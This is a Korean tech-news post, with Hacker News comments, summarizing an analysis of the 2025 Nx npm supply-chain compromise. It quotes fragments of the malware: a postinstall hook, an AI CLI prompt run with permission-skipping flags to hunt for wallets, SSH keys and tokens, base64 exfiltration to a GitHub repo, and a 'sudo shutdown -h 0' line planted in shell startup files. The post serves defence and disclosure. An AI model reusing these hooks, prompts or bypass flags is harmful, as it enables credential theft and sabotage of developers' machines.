# 공급망 보안 경고: `Nx` 빌드 시스템 패키지가 데이터 탈취 악성코드로 손상됨

> Clean Markdown view of GeekNews topic #22768. Use the original source for factual precision when an external source URL is present.

## Metadata

- GeekNews HTML: [https://news.hada.io/topic?id=22768](https://news.hada.io/topic?id=22768)
- GeekNews Markdown: [https://news.hada.io/topic/22768.md](https://news.hada.io/topic/22768.md)
- Type: GN+
- Author: [neo](https://news.hada.io/@neo)
- Published: 2025-08-28T10:17:20+09:00
- Updated: 2025-08-28T10:17:20+09:00
- Original source: [stepsecurity.io](https://www.stepsecurity.io/blog/supply-chain-security-alert-popular-nx-build-system-package-compromised-with-data-stealing-malware)
- Points: 5
- Comments: 1

## Summary

주요 **빌드 시스템 패키지인 Nx**가 약 5시간 동안 **데이터 탈취 악성코드**에 감염되어 수천 명의 개발자들이 **암호화폐 지갑**과 자격 증명 유출 위험에 노출되었습니다. 이번 공격은 **AI CLI 도구(Claude, Gemini, q)**를 악용해 시스템 내 **민감 파일 탐색** 및 탈취를 자동화했다는 점에서, AI 기반 **공급망 보안 위협**의 새 지평을 열었습니다. 악성코드는 설치 직후 **post-install 훅**으로 실행되어, 다양한 개발 자료를 다단계로 수집·유출했으며, npm과 GitHub 등 주요 개발 인프라의 대응을 촉진했습니다. 이 사건은 **AI 도구 무기화**와 **고가치 타겟 공격**이 현실화되고 있음을 보여주며, 개발자 및 조직의 **보안 점검**과 신속한 **자격 증명 회전**의 필요성이 높아지고 있습니다.

## Topic Body

- **Nx 빌드 시스템**의 여러 버전이 2025년 8월 26일 약 5시간 동안 악성코드에 감염되어 개발자들의 **암호화폐 지갑**과 자격 증명을 탈취  
- 공격은 **AI CLI 도구**(Claude, Gemini, q)를 악용해 시스템 내 **민감 파일을 탐색**, 이는 공급망 공격에서 새로운 기법으로 기록됨  
- 악성코드는 **post-install 훅**을 통해 `telemetry.js`를 실행, GitHub 저장소 `s1ngularity-repository`에 데이터를 업로드  
- **npm**은 손상된 버전을 제거하고 2FA 및 Trusted Publisher 메커니즘을 도입해 추가 보안 강화  
- 이 사건은 **공급망 공격**의 진화된 정교함을 보여주며, 개발자 커뮤니티의 즉각적인 대응과 보안 점검 필요성을 강조  
  
---  
  
### 주요 요약  
- 2025년 8월 26일 22:32 UTC부터 약 5시간 동안 **Nx 빌드 시스템** 패키지가 데이터 탈취 악성코드로 손상  
  - 주간 400만 다운로드를 기록하는 인기 패키지로, 수천 명의 개발자가 노출 위험  
- 악성코드는 SSH 키, npm 토큰, `.gitconfig` 외에도 **AI CLI 도구**(Claude, Gemini, q)를 활용해 정찰 및 데이터 탈취 수행  
  - 이는 개발자용 AI 도구를 악용한 최초의 알려진 **공급망 공격** 사례  
- Nx 유지보수 팀은 공식 보안 권고(GHSA-cxm3-wv7p-598c)를 발표, 유지보수자의 npm 계정이 토큰 유출로 손상된 것 확인  
- StepSecurity는 8월 28일 09:30 PST에 커뮤니티 오피스 아워를 개최해 복구 지원  
  - 참가 링크: https://us06web.zoom.us/meeting/register/J3HWhJhYRxONChwyLELtiw  
  
### 사건 타임라인  
- **2025-08-26 22:32 UTC**: 악성 버전 21.5.0 npm 레지스트리에 게시  
- **22:39 UTC**: 손상된 버전 20.9.0 게시  
- **23:54 UTC**: 버전 20.10.0과 21.6.0 동시 게시  
- **2025-08-27 00:16 UTC**: 버전 20.11.0 게시  
- **00:17 UTC**: 버전 21.7.0 게시  
- **00:30 UTC**: 커뮤니티 멤버가 GitHub 이슈를 통해 의심스러운 활동 보고  
- **00:37 UTC**: 최종 손상 버전 21.8.0, 20.12.0 게시  
- **02:44 UTC**: npm이 모든 손상된 버전 제거  
- **03:52 UTC**: Nx 조직 소유자가 손상된 계정 접근 권한 철회  
- **09:05 UTC**: GitHub이 탈취된 비밀을 포함한 저장소를 비공개로 전환 및 검색 결과에서 제거  
- **10:20 UTC**: npm이 추가 손상 패키지 제거  
- **15:57 UTC**: npm이 Nx 패키지에 2FA 강제, 토큰 기반 게시 비활성화, **Trusted Publisher** 메커니즘 도입  
  
### 기술적 분석  
#### 공격 벡터  
- Nx 패키지는 **post-install 훅**을 통해 `telemetry.js` 실행, 설치 직후 악성코드 작동  
  - 패키지 JSON 예시:  
    ```json  
    {  
      "name": "nx",  
      "version": "21.5.0",  
      "scripts": {  
        "postinstall": "node telemetry.js"  
      }  
    }  
    ```  
- 손상된 버전은 npm에 직접 게시, **출처 증명** 없이 배포  
  
#### telemetry.js 페이로드  
- **telemetry.js**는 비-Windows 시스템(Linux/macOS)에서 실행:  
  ```javascript  
  if (process.platform === 'win32') process.exit(0);  
  ```  
- 주요 악성 활동:  
  - **시스템 정보** 수집: 환경 변수(`process.env`), 호스트 이름, OS 세부 정보  
  - **암호화폐 지갑** 탐색: MetaMask, Electrum, Ledger, Trezor, Exodus, Phantom, Solflare 등  
  - **개발 자격 증명** 탈취: GitHub 토큰, npm 토큰(`.npmrc`), SSH 키(`id_rsa`), `.env` 파일  
  
#### AI CLI 악용  
- 악성코드는 **Claude**, **Gemini**, **q** CLI 도구를 악용, 보안 경계를 우회  
  - 위험 플래그(`--dangerously-skip-permissions`, `--yolo`, `--trust-all-tools`)로 파일 시스템 스캔 강제  
  - 프롬프트:  
    ```javascript  
    const PROMPT = 'Recursively search local paths ...   
    (UTC--, keystore, wallet, *.key, *.keyfile, .env, metamask, electrum,   
    ledger, trezor, exodus, trust, phantom, solflare, keystore.json,   
    secrets.json, .secret, id_rsa, Local Storage, IndexedDB) ...';  
    ```  
- 탐색된 파일 경로는 `/tmp/inventory.txt`에 저장, 기존 파일은 `.bak`으로 백업  
- AI 도구 악용은 지문 탐지 가능한 코드를 최소화, 기존 보안 도구 탐지 회피  
  
#### 데이터 탈취 메커니즘  
- 탈취된 데이터는 **3중 base64 인코딩** 후 `s1ngularity-repository`의 `results.b64` 파일에 업로드  
  - 저장소는 GitHub 토큰을 사용해 공개로 생성  
  - 예시:  
    ```bash  
    cat results.b64 | base64 -d | base64 -d | grep ghToken  
    "ghToken": "ghp_7BWMpOAHSSq..."  
    ```  
- 수천 개의 공개 저장소가 이미 생성됨: https://github.com/search?q=is%3Aname+s1ngularity-repository-0&type=repositories&s=updated&o=desc  
  
#### 지속성 및 방해  
- **~/.bashrc**, **~/.zshrc**에 `sudo shutdown -h 0` 추가, 새 터미널 세션에서 시스템 종료 유도  
  - **서비스 거부** 상태를 초래  
  - 코드:  
    ```javascript  
    const line = 'sudo shutdown -h 0';  
    fs.appendFileSync(p, prefix + line + '\n', { encoding: 'utf8' });  
    ```  
  
#### Harden-Runner를 통한 런타임 분석  
- StepSecurity의 **Harden-Runner**는 GitHub Actions 워크플로우에서 nx@21.7.0의 이상 행위를 탐지  
  - **비정상 API 호출**: 설치 중 `api.github.com`으로의 무단 호출  
  - **프로세스 계층 분석**: `npm install`(PID: 2596)이 `telemetry.js`(PID: 2610)를 실행, `gh auth token` 호출  
- 분석 링크: https://app.stepsecurity.io/github/actions-security-demo/compromised-packages/actions/runs/17259145119  
  
### 손상된 패키지 버전  
- **@nx**: 20.9.0, 20.10.0, 20.11.0, 20.12.0, 21.5.0, 21.6.0, 21.7.0, 21.8.0  
- **@nx/devkit**: 20.9.0, 21.5.0  
- **@nx/enterprise-cloud**: 3.2.0  
- **@nx/eslint**: 21.5.0  
- **@nx/js**: 20.9.0, 21.5.0  
- **@nx/key**: 3.2.0  
- **@nx/node**: 20.9.0, 21.5.0  
- **@nx/workspace**: 20.9.0, 21.5.0  
  
### 대응 조치  
#### 패키지 버전 확인  
- `npm ls @nrwl/nx` 또는 `npm ls nx`로 설치된 버전 확인  
- **package-lock.json**에서 Nx 관련 패키지 점검  
- GitHub 검색 쿼리: https://github.com/search?q=%22%40nx%22%3A+%2221.8.0%22+org%3Atutods&type=pullrequests  
  
#### GitHub 계정 감사  
- **s1ngularity-repository** 확인 및 삭제  
- 감사 로그 및 보안 이벤트 확인: https://github.com/settings/security-log  
  
#### AI CLI 도구 점검  
- **Claude**, **Gemini**, **q**의 명령 기록에서 위험 플래그 점검  
  
#### 복구 조치  
- `node_modules` 삭제: `rm -rf node_modules`  
- npm 캐시 정리: `npm cache clean --force`  
- 악성 셸 명령 제거: `~/.bashrc`, `~/.zshrc`에서 `sudo shutdown -h 0` 삭제  
- `/tmp/inventory.txt`, `/tmp/inventory.txt.bak` 삭제  
- **package-lock.json**을 안전 버전으로 업데이트, 의존성 재설치  
- 전체 시스템 재설치 고려  
  
#### 자격 증명 회전  
- **즉시 회전**: GitHub PAT, npm 토큰, SSH 키, `.env`의 API 키, Claude/Gemini/q API 키  
- 암호화폐 지갑이 노출된 경우 즉시 자금 이체  
  
#### Nx Console 확장 프로그램 문제  
- **Nx Console** 확장 프로그램(18.63.x~18.65.x)이 `npx nx@latest --version` 실행으로 취약점 발생  
  - 취약점 원인: https://github.com/nrwl/nx-console/pull/2679, https://github.com/nrwl/nx-console/pull/2683  
- 패치 버전 **18.66.0**으로 즉시 업데이트 권장  
  
### StepSecurity 엔터프라이즈 고객을 위한 조치  
- **PR 탐지**: StepSecurity 대시보드에서 손상된 패키지로의 업그레이드 PR 탐지  
- **Harden-Runner**: CI/CD에서 손상된 패키지 탐지, 런타임 모니터링 제공  
  - 링크: https://app.stepsecurity.io/github/actions-security-demo/compromised-packages/actions/runs/17259145119  
- **Artifact Monitor**: 비인가 패키지 릴리스 실시간 탐지, 출처 확인 및 이상 패턴 알림  
  - 가이드: https://docs.stepsecurity.io/artifact-monitor  
  
### 광범위한 시사점  
- **AI 도구 무기화**: 로컬 AI CLI 도구를 악용해 보안 경계 우회  
- **다단계 탈취**: 로컬 데이터 수집과 클라우드 기반 탈취 결합  
- **고가치 자산 타겟**: 개발자 자격 증명과 암호화폐 지갑 집중 공격  
  
### 결론  
- Nx 패키지 손상은 **공급망 공격**의 정교한 진화를 보여주며, AI 도구 악용과 암호화폐 타겟팅으로 영향력 극대화  
- 개발자는 **의존성 감사**, 보안 제어 강화, 지속적인 모니터링으로 대응 필요  
- StepSecurity 블로그에서 지속적인 업데이트 제공  
  
### 참고 자료  
- GitHub 이슈: https://github.com/nrwl/nx/issues/32522  
- 공식 권고: https://github.com/nrwl/nx/security/advisories/GHSA-cxm3-wv7p-598c  
- 손상된 패키지: https://github.com/actions-security-demo/compromised-packages/blob/main/nx-21.7.0.tgz

## Comments



### Comment 43053

- Author: neo
- Created: 2025-08-28T10:17:20+09:00
- Points: 1

###### [Hacker News 의견](https://news.ycombinator.com/item?id=45038653) 
- 댓글을 [여기로](https://news.ycombinator.com/item?id=45034496) 옮겼음, 이쪽이 먼저 포스팅된 것 같고 Nx 프로젝트의 공식 URL도 포함되어 있음  
  사람들이 링크하던 두 개의 블로그 포스트도 상단에 올려놓았으니 원하면 읽을 수 있음  
  게시물 재업을 통해 프론트페이지에서 이 스레드의 위치와 비슷한 곳으로 옮길 예정임  
  시간대 관련 기록은 [여기](https://hn.algolia.com/?dateRange=all&page=0&prefix=true&query=by%3Adang%20timestamps%20re-up&sort=byDate&type=comment)에서 찾아볼 수 있음, 첫 번째 제출자는 longcat이 맞는 것 같음  
  인기 있던 글이 한 순간에 내려가는 상황이 아쉬울 것 같긴 하지만, 어떤 URL이 가장 맞는지 의견이 갈려서 공식 소스를 우선으로 골랐음, 그리고 최초 제출자에게 '크레딧'을 주는 게 가장 안전하다 판단함

- "감염된 nx 버전 사용 중인가요? semgrep --config [...] 실행해보세요. 또는 nx –version 실행도 대안입니다"  
  이런 식의 보안 조언을 그냥 믿으면 안 된다는 것을 우리가 아직도 깨닫지 못한 것 같음, 이 글이 이미 받은 점수를 보면 답이 나옴  
  특히 원래 안내문을 통째로 없애고 자기 도구 사용법으로 바꿔놓는 보안 조언가들 신뢰하지 말아야 함  
  공식 보안 권고는 [여기](https://github.com/nrwl/nx/security/advisories/GHSA-cxm3-wv7p-598c)에 있는데, 어디에도 감염된 프로그램을 실행해서 감염 여부를 판단하라는 안내는 없음  
  semgrep 실행하라는 말도 공식 문서 어디에도 없음

  - 블로그 글 작성자임  
    좋은 지적임  
    현재까지 확인된 바로는 nx --version 자체는 안전함, 이 취약점이 post-install 스크립트에 국한된 것이기 때문임  
    그래서 포스팅에서도 권고사항을 변경했음  
    Github 보안 권고에 나온 버전 리스트를 Semgrep 룰로 정리했고 MIT 라이선스로 공개했음: [semgrep.dev/c/r/oqUk5lJ/semgrep.ssc-mal-resp-2025-08-nx-build-compromised](https://semgrep.dev/c/r/oqUk5lJ/semgrep.ssc-mal-resp-2025-08...)  
    사용할 수 있는 환경에서는 여러 패키지를 한 번에 검사하기에 간편함  
    내부 저장소에서는 전부 이 룰로 점검함  
    블로그 포스트도 MIT 라이선스임을 추가했고, Semgrep 자체도 LGPL이므로 curl로 룰을 다운받아 `semgrep --config=rule.yaml`로 로컬에서 실행 가능함: [https://github.com/returntocorp/semgrep](https://github.com/returntocorp/semgrep)

  - '그런 행동’이라는 게 정확히 무엇을 의미하나? 프로그램 실행 자체를 말하는 건가 궁금함

  - "감염 여부를 알고 싶으면, 감염된 프로그램을 실행하세요… 그러면 확실히 감염됨" 이라는 느낌임

  - 블로그 포스트가 마치 자백문 같게 읽혀서 이상하다는 느낌임

- 이 회사는 무언가 달라보임  
  [https://semgrep.dev/solutions/secure-vibe-coding/](https://semgrep.dev/solutions/secure-vibe-coding/)  
  만약 소프트웨어 개발이 여기서 보여주는 데모처럼 변한다면  
  ```
    - 내가 작성한 코드에 취약점이 있을까?
    - 이 코드는 무슨 일을 하는 코드인가?
  ```
  나도 그냥 자급자족 농사로 전향해서 문명이 무너질 때까지 기다리고 싶어짐

  - 자급자족 농업을 존중하지만, 이미 디지털 기술은 충분히 부트스트랩된 상태임  
    세계 산업 기반이 완전히 붕괴해도 다음 세기는 누가 컴퓨터를 더 잘 활용하느냐에 따라 결정될 것임  
    버려진 스마트폰을 주워다 농업, 제조, 드론 전쟁까지 재자동화하는 시대 올 것임  
    LLM 기반 AI도 이미 깊게 자리잡았고 앞으로도 오지 않을까 생각  
    각 부족들의 반쯤 무너진 건물에서 태양광 노트북으로 ollama, aider/void 돌려 쓰는 상황도 상상해볼 만함

  - 미끼일 수도 있겠지만, 데모에서 is_prime 함수가 함수 이름과는 다르게 동작함

  - 오늘 당장 Stardew Valley 게임 플레이하거나, 직접 Harvest Moon 클론을 프로그래밍하며 이런 삶을 미리 경험할 수 있음

- @dang, 블로그 포스트도 도움되지만 이 Github 이슈가 훨씬 더 명확하고 실질적인 해결 방법을 제시하는 것 같음  
  링크를 이쪽으로 바꿔줄 수 있는지 궁금함

  - otterly와 Hilift가 semgrep 페이지보다 더 좋은 커버리지를 찾았음  
    - [이곳](https://news.ycombinator.com/item?id=45040126)
    - [이곳](https://news.ycombinator.com/item?id=45040507)

  - (이 스레드는 [여기서](https://news.ycombinator.com/item?id=45038993) 분리했음)  
    해당 이슈에 대한 첫 제출 글([여기](https://news.ycombinator.com/item?id=45034496))을 발견했고, 깃허브 URL이라서 스레드를 거기로 합쳤음  
    자세한 설명은 [여기](https://news.ycombinator.com/item?id=45042727) 있음

- 이 Semgrep 글은 Nx가 직접 보고한 내용과 완전히 다르게 설명하고 있음  
  공격자가 여러 번의 릴리즈에 걸쳐 페이로드를 실시간으로 편집했으며, 더 많은 공격을 준비했다는 느낌임  
  그런데도 왜 페이로드가 파일 경로만 서버로 전송하고, 실제 파일 내용은 안 보냈는지 궁금함  
  전체 공격을 출시 전에 미리 완성하지 않은 이유가 무엇이었을지, 단순한 정보 수집, PoC, 아니면 미숙한 탓인지 생각하게 됨  
  [관련 보안 권고 참고](https://github.com/nrwl/nx/security/advisories/GHSA-cxm3-wv7p-598c)

  - 일부러 혼란을 만들려는 사람의 작품 같음  
    그리고 AI를 활용해서 토론의 이슈로 만들고, 주목을 모으려고 한 느낌임  
    특히 .bashrc를 편집해서 시스템을 강제로 셧다운시키는 방식 등을 고려하면, 뭔가 일부러 시끄럽게 만들고 싶으면서도 큰 파괴는 하지 않은 것 같음

- 이 글이 semgrep보다 훨씬 더 잘 정리되어 있음: [stepsecurity.io 블로그](https://www.stepsecurity.io/blog/supply-chain-security-alert-popular-nx-build-system-package-compromised-with-data-stealing-malware)

  - 고마움  
    이 글을 올리기 9시간 전에 [여기](https://news.ycombinator.com/item?id=45035115)에도 포스팅했었음  
    HN 관리자가 이 스토리의 링크를 이쪽으로 바꿔주면 좋겠음
